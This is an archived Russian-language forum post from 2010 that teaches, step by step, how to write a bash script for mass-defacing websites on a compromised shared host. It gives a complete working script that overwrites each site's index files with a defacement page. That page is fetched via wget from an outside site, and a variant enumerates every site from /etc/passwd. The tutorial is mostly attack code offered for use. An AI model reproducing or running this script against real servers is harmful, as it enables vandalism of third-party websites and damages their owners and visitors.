Время:
Новых сообщений: Нет
Вы на форуме дней
Ваша группа: Гость
Ваш IP: 18.117.103.185
Logical-Portal — молодежный портал со своей изюминкой, каждый сможет найти что-то интересное и полезное для себя, например наш форум общения с которым вам обязательно нужно ознакомиться.
  • Страница 1 из 1
  • 1
Архив - только для чтения
Пишем скрипт для MASS DEFACING
Сообщение оставлено 08.12.2010 в 21:30:21 | Сообщение #1
Сперва мы хотели просто выложить скрипт для массового изменения первых страниц сайтов на взломанном хостинге, но тут возникла необходимость в коментариях к скрипту, которые оказались больше, чем сам скрипт =)
Да, к тому же, нюансы каждого отдельного случая требуют дополнительного перекроя программы. Поэтому мы решили просто показать, как можно самому написать подобный скрипт.

Итак, перед нами задача: задефейсить сразу и много сайтов на одном хостинге (как получить для этого соответствующие права - не тема нашей статьи).
Входные данные:
- мы имеем возможность писать в папки всех юзеров;
- мы знаем какие сайты мы будем дефейсить, а какие нет (мы же не вандалы, чтоб дефейсить сайты безобидных домашних страничек);
- пусть имена каталогов сайтов будут site1, site2, site3...;
- из конфига апача мы узнали, что файлы сайтов хранятся в директориях типа: /home/site1/htdocs.

Ну, к делу!
На чем будем писать?
Что за вопрос? Какой родной язык для юникс-лайк систем? BASH!
Вот на нем и будем писать - уж достоверно будем знать, что наш скрипт в системе запустится =)

В начале скрипта принято указывать так называемый "ша-банг" - путь к командному интерпретатору. Рисуем наш Ша-Банг (хотя, можно и без него) и дальше по тексту (все читаем в коментариях к скрипту, которые в bash отделяются символом "#"):

#!/bin/bash
########################################
# Теперь нам нужно в коментариях добавить #
# наш копирайт, или гритс/факс - #
# короче, что-то нарисовать надо, #
# а то как узнать, что это наш скрипт? =) #
####################################
# Зададим директорию, в которой хранятся файлы.
# В нашем примере это "htdocs/".
# Если таковой нет, укажем просто слеш "/"
IND_DIR=/htdocs/
#зададим расширение для бекапа индекса (помните: мы же не вандалы!):
P_BKP=".bkp"
#указываем путь к главной директории, где все наши сайты и размещаются:
DP_HOME=/home/
# Укажем и путь к файлику с нашим дефейсом,
# который мы уже успели закачать,
# скажем так: wget -O /tmp/def.html http://gipshack.ru/index.htm
DEF=/tmp/def.html
#дальше, все будет происходить в цикле:
#имена сайтов будут браться в качестве переменной SITE из значений,
#которые мы укажем вместо наших site1 site2 и site3

for SITE in "site1" "site2" "site3"
do
CD_DEF=`echo "${DP_HOME}${SITE}${IND_DIR}"` #формируем имя директории
cd ${CD_DEF} #сайта и переходим в нее
#Так, теперь задаем возможные имена файлов индекса
for FILE in index.html index.php index.htm index.shtml index.shtm
do
FILE_BKP=`echo "${FILE}${P_BKP}"`
if [ -e "$FILE" ] #проверяем, есть ли такой файл
then
cp "${FILE}" "${FILE_BKP}" #Если да, то делаем бекап
echo "Defacing $FILE in $CD_DEF"
cat "${DEF}" > "${FILE}" #И заменяем индекс на наш дефейс
continue
fi
done
done
exit 0

Сохраняем скрипт на сервере с именем, скажем, massdef.sh, даем ему права на выполнение:
chmod 0755
и запускаем:
./massdef.sh
Или просто запускаем через командный интерпретатор (в этом случае нам не нужен Ша-Банг):
bash massdef.sh
Ну вот, и все. Скриптик отчитается нам какие файлы и в каких директориях он заменил.
Что можно еще придумать?

Несколько полезностей на любителя.
1. Можно сделать вариант с вводом имен папок сайтов в командной строке как аргументов скрипта.
Для этого мы меняем цикл, который получает значения переменной SITE.
Собственно, перебор входных аргументов можно организовать при помощи команды shift:

until [ -z "$1" ] # Выполняем цикл, пока есть аргумент
do
SITE=$1 # Присвоим значение первого аргумента переменной SITE
# А здесь выполним то, что у нас было от "CD_DEF="
# и до первого "done"
shift # Сдвигаем аргументы на 1
done

Тогда наш скрипт будем запускать где-то так:
./massdef.sh site1 site2 site3

2. Если имена директорий для переменной SITE совпадают с именами пользователей системы (такое бывает часто), и мы хотим все их задефейсить (пример с порнушным хостингом), то можно брать имена пользователей из файла /etc/passwd.
Нам поможет прикольная команда cut. Она предназначена для извлечения отдельных элементов (полей) из текстовых файлов.
Команда имеет два основных ключа:
-d для указания разделителя полей (в нашем случае будем использовать двоеточие ':')
-f для указания номера поля.
Таким образом, для выборки имени пользователя /сайта (в нашем примере) из файла паролей, можно воспользоваться такой конструкцией:

FILENAME=/etc/passwd

for SITE in $(cut -d: -f1 $FILENAME)
do
# А здесь вставим стандартные наши процедуры определения
# полного пути к директории и дальнейшей дефейс-акции
done # и завершаем цикл.

На этом пока все.
Надеемся, что эта статья станет для кого-то началом в изучении интересного языка программирования bash =)

 

У гениальности есть побочные эффекты
 
   
  • Страница 1 из 1
  • 1
Поиск:
 
Графика от: Megas, GraFOS | Дизайн сверстал E.A.
Хостинг от uCoz
Яндекс.Метрика